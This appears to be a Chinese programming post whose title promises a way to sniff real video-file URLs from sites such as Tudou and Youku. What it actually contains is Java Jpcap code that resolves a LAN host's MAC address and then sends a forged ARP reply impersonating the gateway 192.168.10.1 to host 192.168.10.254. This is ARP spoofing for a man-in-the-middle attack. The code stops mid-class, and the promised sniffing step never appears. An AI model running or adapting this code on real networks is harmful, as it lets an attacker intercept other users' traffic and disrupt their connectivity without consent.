使用Jpcap嗅探获取网络音视频网站（如土豆网、优酷网等）中视频文件的真实URL路径的设计方案和技术要领。

import jpcap.packet.*;

import jpcap.JpcapCaptor;

import jpcap.JpcapSender;

import jpcap.NetworkInterface;

import java.net.*;

import java.util.Arrays;

import java.io.*;

public class ModifyARP {

static NetworkInterface[] devices = JpcapCaptor.getDeviceList(); //得到主机A的网络设备列表

/*

* 获取局域网内的某个主机的MAC地址，方法：发一个ARP请求，从ARP回复中得到MAC地址

*/

static byte[] getOtherMAC(String ip) throws IOException{

JpcapCaptor jc = JpcapCaptor.openDevice(devices[1],2000,false,3000);

JpcapSender sender = jc.getJpcapSenderInstance();

InetAddress senderIP = InetAddress.getByName("192.168.10.100"); //主机A的IP地址

InetAddress targetIP = InetAddress.getByName(ip); //目标主机的IP地址

byte[] broadcast=new byte[]{(byte)255,(byte)255,(byte)255,(byte)255,(byte)255,(byte)255}; //广播地址

ARPPacket arp=new ARPPacket(); //开始构造一个ARP包

arp.hardtype=ARPPacket.HARDTYPE_ETHER;

arp.prototype=ARPPacket.PROTOTYPE_IP;

arp.operation=ARPPacket.ARP_REQUEST; //指明是ARP请求包

arp.hlen=6;

arp.plen=4;

arp.sender_hardaddr=devices[0].mac_address; //ARP包的发送端以太网地址

arp.sender_protoaddr=senderIP.getAddress(); //发送端IP地址

arp.target_hardaddr=broadcast; //目的端以太网地址

arp.target_protoaddr=targetIP.getAddress(); //目的端IP地址

EthernetPacket ether=new EthernetPacket(); //构造以太网首部

ether.frametype=EthernetPacket.ETHERTYPE_ARP; //帧类型

ether.src_mac=devices[0].mac_address; //以太网源地址

ether.dst_mac=broadcast; //以太网目的地址

arp.datalink=ether;

sender.sendPacket(arp);

while(true){ //获取ARP回复包，从中提取出目的主机的MAC地址

ARPPacket p=(ARPPacket)jc.getPacket();

if(p==null){

throw new IllegalArgumentException(targetIP+" is not a local address");

}

if(Arrays.equals(p.target_protoaddr,senderIP.getAddress())){

return p.sender_hardaddr;

}

}

}

public static void main(String[] args) throws IOException {

JpcapCaptor captor = JpcapCaptor.openDevice(devices[1],2000,false,3000);

captor.setFilter("arp",true);

JpcapSender sender = captor.getJpcapSenderInstance();

ARPPacket arp=new ARPPacket(); //构造ARP欺骗用的数据包，实质上就是一个ARP回复包

arp.hardtype = ARPPacket.HARDTYPE_ETHER;

arp.prototype=ARPPacket.PROTOTYPE_IP;

arp.operation=ARPPacket.ARP_REPLY; //指明是ARP回复包

arp.hlen=6;

arp.plen=4;

arp.sender_hardaddr=devices[0].mac_address;

arp.sender_protoaddr=InetAddress.getByName("192.168.10.1").getAddress();

arp.target_hardaddr=getOtherMAC("192.168.10.254");

arp.target_protoaddr=InetAddress.getByName("192.168.10.254").getAddress();

EthernetPacket ether=new EthernetPacket();

ether.frametype=EthernetPacket.ETHERTYPE_ARP;

ether.src_mac=getOtherMAC("192.168.10.1");

ether.dst_mac=getOtherMAC("192.168.10.254");

arp.datalink=ether;

sender.sendPacket(arp);